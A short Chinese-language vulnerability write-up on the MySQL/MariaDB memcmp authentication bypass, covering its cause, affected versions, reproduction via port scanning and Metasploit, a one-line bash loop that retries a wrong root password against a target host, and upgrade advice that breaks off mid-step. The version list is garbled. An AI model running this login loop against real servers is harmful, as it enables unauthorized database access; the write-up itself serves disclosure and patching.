漏洞简介
当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp () 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
受影响版本
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL
- versions from 5.1.63, 5.5.24, 5.6.6 are not.
出现原因
出现这个漏洞是由于memcmp函数只返回返回-128到127范围内的值,在某些平台上进行了优化,导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。大约256次就可以成功一次。
漏洞复现
扫描开放的端口
用MSF攻击
EXP
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
修复
升级MySQL版本,(低于以下版本的都必须升级到最新版本:5.0版本低于5.0.96;5.1版本低于5.1.63;5.5版本低于5.5.25)停止mysql,备份整个mysql,安装目录,data目录(这个步骤只是预防升级